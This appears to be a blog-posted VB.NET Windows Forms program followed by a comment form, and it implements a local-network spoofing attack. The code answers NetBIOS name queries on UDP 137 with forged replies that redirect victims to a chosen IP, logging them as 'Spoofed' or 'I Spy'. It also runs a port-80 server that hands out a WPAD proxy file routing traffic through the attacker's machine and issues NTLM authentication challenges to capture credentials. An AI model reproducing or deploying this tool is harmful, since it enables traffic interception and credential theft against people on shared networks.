Imports System.Net.Sockets
Imports System.Net
Imports System.Threading
Imports System.Text

Public Class Form1
    Dim MyIpAddress As String
    Dim MyIpSubnet As String
    Dim IPRange As String = 255
    Dim RedirectTo As String

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        End
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Encode("NTFS2")
        Decode("EOFEEGFDDCCACACACACACACACACACAAA")
        End
        Dim MyThread As New Thread(AddressOf WebServerThread)
        MyThread.IsBackground = True
        MyThread.Start()

        MyIpAddress = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString
        Dim IpAddr() As String = MyIpAddress.Split(".")
        MyIpSubnet = IpAddr(0) & "." & IpAddr(1) & "." & IpAddr(2) & "."
        Try
            Label1.Text = MyIpSubnet
            TextBox1.Text = "0"
        Catch ex As Exception
        End Try
        Try
            TextBox2.Text = MyIpAddress
        Catch ex As Exception
        End Try
    End Sub

    Private Sub Encode(ByVal NameToEncode As String)
        NameToEncode.PadRight(15, " ")
        Dim BytesToConvert() As Byte = System.Text.ASCIIEncoding.ASCII.GetBytes(NameToEncode)
        ReDim Preserve BytesToConvert(15)
        Debug.WriteLine(BytesToConvert.Length * 2)
        For i = 0 To BytesToConvert.Length - 1
            Dim FirstNibble As Integer = (CInt(BytesToConvert(i)) And &HF0) >> 4
            Dim SecondNibble As Integer = CInt(BytesToConvert(i)) And &HF
            FirstNibble += 65
            SecondNibble += 65
            Debug.Write(Chr(FirstNibble))
            Debug.Write(Chr(SecondNibble))
        Next
        Debug.WriteLine("")
    End Sub

    Private Function Decode(ByVal NameToResolve As String) As String
        Dim BytesToConvert() As Byte = System.Text.ASCIIEncoding.ASCII.GetBytes(NameToResolve)
        ReDim Preserve BytesToConvert(31)
        For i = 0 To BytesToConvert.Length - 1 Step 2
            BytesToConvert(i) -= 65
            BytesToConvert(i + 1) -= 65
            Dim FullByte As Integer = (BytesToConvert(i) << 4) + BytesToConvert(i + 1)
            If FullByte <> 0 Then
                Debug.Write(Chr(FullByte))
                Decode &= Chr(FullByte)
            End If
        Next
        Return Decode
    End Function

    Dim UdpPort_msg As Integer = 137
    Dim soUdp_msg As Socket

    Private Sub MyThreadFunc()
        Dim received_s As Byte() = New Byte(2047) {}
        Dim tmpIpEndPoint As New IPEndPoint(IPAddress.Any, UdpPort_msg)
        Dim remoteEP As EndPoint = (tmpIpEndPoint)
        Dim MyEndPoint As IPEndPoint
        While True
            While soUdp_msg.Poll(0, SelectMode.SelectRead)
                Dim sz As Integer = soUdp_msg.ReceiveFrom(received_s, remoteEP)
                ' do some work
                MyEndPoint = DirectCast(remoteEP, IPEndPoint)

                If IPRange <> "255" And IPRange <> "0" Then
                    If MyEndPoint.Address.ToString <> IPAddress.Parse(MyIpSubnet & IPRange).ToString Then Continue While
                End If

                For i = 0 To sz - 1

                    If i >= 13 And i <= 45 Then
                        Debug.Write("-" & Hex(received_s(i)) & " ")
                    Else
                        Debug.Write(Hex(received_s(i)) & " ")
                    End If


                Next
                Debug.WriteLine(vbCrLf & "-----------------------------------------")

                Dim TransactionID() As Byte = {received_s(0), received_s(1)}
                Dim Flags() As Byte = {&H85, &H0}
                Dim Questions() As Byte = {&H0, &H0}
                Dim AnswerRRs() As Byte = {&H0, &H1}
                Dim AuthorityRRS() As Byte = {&H0, &H0}
                Dim AdditionalRRs() As Byte = {&H0, &H0}
                Dim Name As String = System.Text.ASCIIEncoding.ASCII.GetString(received_s, 13, 32)
                Debug.WriteLine("======== " & Name & " =====" & MyEndPoint.Address.ToString & "===")
                Dim TypeOfNB As Byte() = {received_s(46), received_s(47)}
                Dim TypeOfClass As Byte() = {received_s(48), received_s(49)}
                Dim TTL As Byte() = {&H0, &H4, &H93, &HE0}
                Dim DataLength As Byte() = {&H0, &H6}
                Dim FlagsBNode As Byte() = {&H0, &H0}
                Dim SpoofedIP As Byte() = {CInt(RedirectTo.Split(".")(0)), CInt(RedirectTo.Split(".")(1)), CInt(RedirectTo.Split(".")(2)), CInt(RedirectTo.Split(".")(3))}

                If IPRange <> 0 Then
                    TextBox3.Text &= "Spoofed - " & MyEndPoint.Address.ToString & ": " & Decode(Name).Trim & vbCrLf
                Else
                    TextBox3.Text &= "I Spy - " & MyEndPoint.Address.ToString & ": " & Decode(Name).Trim & vbCrLf
                    Application.DoEvents()
                    Thread.Sleep(50)
                    Continue While
                End If


                Dim ii As Int32 = 0
                Dim ResponseBuffer(61) As Byte
                ResponseBuffer(0) = TransactionID(0)
                ResponseBuffer(1) = TransactionID(1)
                ResponseBuffer(2) = Flags(0)
                ResponseBuffer(3) = Flags(1)
                ResponseBuffer(4) = Questions(0)
                ResponseBuffer(5) = Questions(1)
                ResponseBuffer(6) = AnswerRRs(0)
                ResponseBuffer(7) = AnswerRRs(1)
                ResponseBuffer(8) = AuthorityRRS(0)
                ResponseBuffer(9) = AuthorityRRS(1)
                ResponseBuffer(10) = AdditionalRRs(0)
                ResponseBuffer(11) = AdditionalRRs(1)
                ResponseBuffer(12) = &H20 'Length Of response
                Array.Copy(received_s, 13, ResponseBuffer, 13, 32)
                ii = 46
                ResponseBuffer(ii) = TypeOfNB(0)
                ResponseBuffer(ii + 1) = TypeOfNB(1)
                ResponseBuffer(ii + 2) = TypeOfClass(0)
                ResponseBuffer(ii + 3) = TypeOfClass(1)
                ResponseBuffer(ii + 4) = TTL(0)
                ResponseBuffer(ii + 5) = TTL(1)
                ResponseBuffer(ii + 6) = TTL(2)
                ResponseBuffer(ii + 7) = TTL(3)
                ResponseBuffer(ii + 8) = DataLength(0)
                ResponseBuffer(ii + 9) = DataLength(1)
                ResponseBuffer(ii + 10) = FlagsBNode(0)
                ResponseBuffer(ii + 11) = FlagsBNode(1)
                ResponseBuffer(ii + 12) = SpoofedIP(0)
                ResponseBuffer(ii + 13) = SpoofedIP(1)
                ResponseBuffer(ii + 14) = SpoofedIP(2)
                ResponseBuffer(ii + 15) = SpoofedIP(3)

                'MyEndPoint.Address = IPAddress.Parse("10.6.13.89")
                soUdp_msg.SendTo(ResponseBuffer, MyEndPoint)

            End While
            Application.DoEvents()
            Thread.Sleep(50)
        End While
        ' sleep so receive thread does not dominate computer
    End Sub

    Private Sub WebServerThread()
        Dim serverSocket As New TcpListener(IPAddress.Any, 80)
        Dim requestCount As Integer
        Dim clientSocket As TcpClient
        serverSocket.Start()
        Debug.WriteLine("Server Started")
        clientSocket = serverSocket.AcceptTcpClient()
        Debug.WriteLine("Accept connection from client")
        requestCount = 0

        While (True)
            Try
                requestCount = requestCount + 1
                Dim networkStream As NetworkStream = clientSocket.GetStream()
                Dim bytesFrom(10024) As Byte
                networkStream.Read(bytesFrom, 0, CInt(clientSocket.ReceiveBufferSize))
                Dim dataFromClient As String = System.Text.Encoding.ASCII.GetString(bytesFrom)
                Debug.WriteLine("Data from client -  " + dataFromClient)

                Dim Response As String = vbNullString

                If dataFromClient.Contains("/favicon.ico") Or dataFromClient.Contains("GET / HTTP/") Then
                    Response = "HTTP/1.1 401 Unauthorized" & vbCrLf & _
                    "Content-Length: 0" & vbCrLf & _
                    "Content-Type: text/html" & vbCrLf & _
                    "Server: Microsoft-IIS/6.0" & vbCrLf & vbCrLf
                End If

                If dataFromClient.Contains("wpad.dat") Then
                    Dim PAC As String = "function FindProxyForURL(url, host) {return ""PROXY " & System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString & ":8080; DIRECT"";}"
                    Response = "HTTP/1.1 200 OK" & vbCrLf & "Content-Length: " & PAC.Length & vbCrLf & "Content-Type: application/x-ns-proxy-autoconfig" & vbCrLf & vbCrLf & PAC
                End If

                If dataFromClient.Contains("Auth") Then
                    Response = "HTTP/1.1 401 Unauthorized" & vbCrLf & _
                                        "Content-Length: 0" & vbCrLf & _
                                        "Content-Type: text/html" & vbCrLf & _
                                        "Server: Microsoft-IIS/6.0" & vbCrLf & _
                                        "WWW-Authenticate: Negotiate" & vbCrLf & _
                                        "WWW-Authenticate: NTLM" & vbCrLf & vbCrLf
                End If

                    Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(Response)
                    networkStream.Write(sendBytes, 0, sendBytes.Length)
                    networkStream.Flush()
                    Debug.WriteLine(Response)
            Catch ex As Exception
                MsgBox(ex.ToString)
            End Try
        End While

        clientSocket.Close()
        serverSocket.Stop()
        Debug.WriteLine("exit")
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        IPRange = TextBox1.Text
        RedirectTo = TextBox2.Text
        soUdp_msg = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
        Dim localIpEndPoint_msg As New IPEndPoint(IPAddress.Any, UdpPort_msg)
        soUdp_msg.Bind(localIpEndPoint_msg)
        Button1.Enabled = False

        MyThreadFunc()

        Exit Sub
        Dim Mythread As New Thread(AddressOf MyThreadFunc)
        Mythread.IsBackground = True
        Mythread.Start()
    End Sub

    Private Sub TextBox3_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged
        TextBox3.Select(TextBox3.Text.Length, 0)
        TextBox3.ScrollToCaret()
    End Sub


End Class

Leave a Reply

Your email address will not be published. Required fields are marked *

To create code blocks or other preformatted text, indent by four spaces:

    This will be displayed in a monospaced font. The first four 
    spaces will be stripped off, but all other whitespace
    will be preserved.
    
    Markdown is turned off in code blocks:
     [This is not a link](http://example.com)

To create not a block, but an inline code span, use backticks:

Here is some inline `code`.

For more help see http://daringfireball.net/projects/markdown/syntax